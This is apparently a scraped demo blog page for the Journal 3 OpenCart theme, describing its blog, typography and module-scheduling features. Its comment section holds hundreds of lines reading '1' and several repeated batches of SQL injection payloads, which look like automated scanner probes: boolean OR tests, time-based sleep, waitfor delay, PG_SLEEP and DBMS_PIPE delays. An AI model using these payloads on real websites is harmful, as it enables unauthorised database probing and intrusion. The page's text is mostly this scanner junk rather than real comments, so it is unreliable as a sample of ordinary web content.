Another Blog Post
Another blog post. Write unlimited blog articles, or have someone write them for you with partial admin access. The Journal 3 blog has been greatly improved and it now comes with the most advanced set of typography tools, including custom drop-cap support as well as optional newspaper-like fluid columns. You can break up the page in up to 4 columns and change the configuration per breakpoint for the best article layout on any screen width.
The Journal blog is built directly into the admin with lots of powerful options, including seo urls and limited admin access to blog settings for other users to author articles. You or your writer can author unlimited blog posts and display them in both grid or list views with support for our famous Items per Row feature. The blog comes with 6 modules including an advanced Posts Module that allows you to display articles on any page within your store and in any position.
More about Journal
Since 2013, Journal has been the best selling and most loved OpenCart theme on the market. Now at version 3, it brings many new and revolutionary features such as an advanced page builder with 30+ multi-purpose modules that can be added on any page in any grid layout configuration, as well as the best possible customizable options for any area of your store.
Journal 3 also comes with fully customizable CSS options with the added possibility of setting each option differently on any breakpoint. This breakthrough feature will greatly enhance your design skills and allow you to create pixel perfect layouts at any screen width.
This is a blockquote element. It's styled from the Journal admin Typography style. You can edit lots of options including the custom icon on the side, font and other text styles, padding, background, etc.
The new advanced Status mechanism allow you to set up modules and menus based on device, customer login status or customer groups.
The new Schedule feature allows you to display any module at specific dates in the future, or to disable any module automatically at a certain time and date.
Imagine the possibilities and peace of mind...designing your promotional banners or sliders, or entire product modules that only show up on specific dates and are disabled automatically whenever you don't need them anymore.
These are just a few of the outstanding features available in the new Journal 3 framework, there are so many new options and possibilities that it will takes us a very long time to list them all.
Responsive Video
Responsive video embeds with max width and float options, as well as full container styles on the video-responsive class. Display videos in your descriptions, blog posts, or custom modules anywhere on the page. Just wrap the iframe in additional div elements with the required classes and you have full control over your video layout.
The above element is a fully customizable hr element, including custom icon options. Unprecedented control over your elements directly from the admin.
235 Comment(s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+111-111-1=0+0+0+1 --
-1 OR 3+111-111-1=0+0+0+1 --
-1 OR 2+381-381-1=0+0+0+1
-1 OR 3+381-381-1=0+0+0+1
-1' OR 2+65-65-1=0+0+0+1 --
-1' OR 3+65-65-1=0+0+0+1 --
-1' OR 2+876-876-1=0+0+0+1 or 'DkjPmSDD'='
-1' OR 3+876-876-1=0+0+0+1 or 'DkjPmSDD'='
-1" OR 2+485-485-1=0+0+0+1 --
-1" OR 3+485-485-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1Zha71qUk'; waitfor delay '0:0:15' --
1-1 OR 759=(SELECT 759 FROM PG_SLEEP(15))--
1-1) OR 866=(SELECT 866 FROM PG_SLEEP(15))--
1-1)) OR 335=(SELECT 335 FROM PG_SLEEP(15))--
1nGluEuK7' OR 354=(SELECT 354 FROM PG_SLEEP(15))--
1X7QtWZ0R') OR 50=(SELECT 50 FROM PG_SLEEP(15))--
1KRFx4g3n')) OR 203=(SELECT 203 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@SJA66
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+187-187-1=0+0+0+1 --
-1 OR 3+187-187-1=0+0+0+1 --
-1 OR 2+458-458-1=0+0+0+1
-1 OR 3+458-458-1=0+0+0+1
-1' OR 2+556-556-1=0+0+0+1 --
-1' OR 3+556-556-1=0+0+0+1 --
-1' OR 2+281-281-1=0+0+0+1 or '8X95CB1Z'='
-1' OR 3+281-281-1=0+0+0+1 or '8X95CB1Z'='
-1" OR 2+442-442-1=0+0+0+1 --
-1" OR 3+442-442-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1rhzot5SQ'; waitfor delay '0:0:15' --
1-1 OR 632=(SELECT 632 FROM PG_SLEEP(15))--
1-1) OR 39=(SELECT 39 FROM PG_SLEEP(15))--
1-1)) OR 731=(SELECT 731 FROM PG_SLEEP(15))--
1pNW1jDFH' OR 171=(SELECT 171 FROM PG_SLEEP(15))--
1yWHJ7sAT') OR 408=(SELECT 408 FROM PG_SLEEP(15))--
1gBZRg7aC')) OR 670=(SELECT 670 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@@1S4M6
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 3+108-108-1=0+0+0+1 --
-1 OR 2+944-944-1=0+0+0+1
-1 OR 3+944-944-1=0+0+0+1
-1' OR 2+125-125-1=0+0+0+1 --
-1' OR 3+125-125-1=0+0+0+1 --
-1' OR 2+739-739-1=0+0+0+1 or 'D9XxxAd5'='
-1' OR 3+739-739-1=0+0+0+1 or 'D9XxxAd5'='
-1" OR 2+368-368-1=0+0+0+1 --
-1" OR 3+368-368-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1BWVz3Asz'; waitfor delay '0:0:15' --
1-1 OR 929=(SELECT 929 FROM PG_SLEEP(15))--
1-1) OR 250=(SELECT 250 FROM PG_SLEEP(15))--
1-1)) OR 528=(SELECT 528 FROM PG_SLEEP(15))--
1
1
1IuctDbpx' OR 662=(SELECT 662 FROM PG_SLEEP(15))--
1GwyYnXD8') OR 197=(SELECT 197 FROM PG_SLEEP(15))--
1Slq6GXhK')) OR 217=(SELECT 217 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@V9Ibk
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+764-764-1=0+0+0+1 --
-1 OR 3+764-764-1=0+0+0+1 --
-1 OR 2+140-140-1=0+0+0+1
-1 OR 3+140-140-1=0+0+0+1
-1' OR 2+408-408-1=0+0+0+1 --
-1' OR 3+408-408-1=0+0+0+1 --
-1' OR 2+599-599-1=0+0+0+1 or 'xwElmh1x'='
-1' OR 3+599-599-1=0+0+0+1 or 'xwElmh1x'='
-1" OR 2+929-929-1=0+0+0+1 --
-1" OR 3+929-929-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1QLB5HsDe'; waitfor delay '0:0:15' --
1-1 OR 471=(SELECT 471 FROM PG_SLEEP(15))--
1-1) OR 918=(SELECT 918 FROM PG_SLEEP(15))--
1-1)) OR 128=(SELECT 128 FROM PG_SLEEP(15))--
1freACye8' OR 998=(SELECT 998 FROM PG_SLEEP(15))--
1aNfbOUgP') OR 789=(SELECT 789 FROM PG_SLEEP(15))--
1bTDmt5Cd')) OR 681=(SELECT 681 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@8z6im
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+401-401-1=0+0+0+1 --
-1 OR 3+401-401-1=0+0+0+1 --
-1 OR 2+493-493-1=0+0+0+1
-1 OR 3+493-493-1=0+0+0+1
-1' OR 2+771-771-1=0+0+0+1 --
-1' OR 3+771-771-1=0+0+0+1 --
-1' OR 2+415-415-1=0+0+0+1 or 'Z9xGCFnE'='
-1' OR 3+415-415-1=0+0+0+1 or 'Z9xGCFnE'='
-1" OR 2+105-105-1=0+0+0+1 --
-1" OR 3+105-105-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1sTnIhRW9'; waitfor delay '0:0:15' --
1-1 OR 919=(SELECT 919 FROM PG_SLEEP(15))--
1-1) OR 665=(SELECT 665 FROM PG_SLEEP(15))--
1-1)) OR 159=(SELECT 159 FROM PG_SLEEP(15))--
1zMBDRxMA' OR 685=(SELECT 685 FROM PG_SLEEP(15))--
1CTKXW8rv') OR 542=(SELECT 542 FROM PG_SLEEP(15))--
1QuNTbMGd')) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@Xkhjy
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Leave a Comment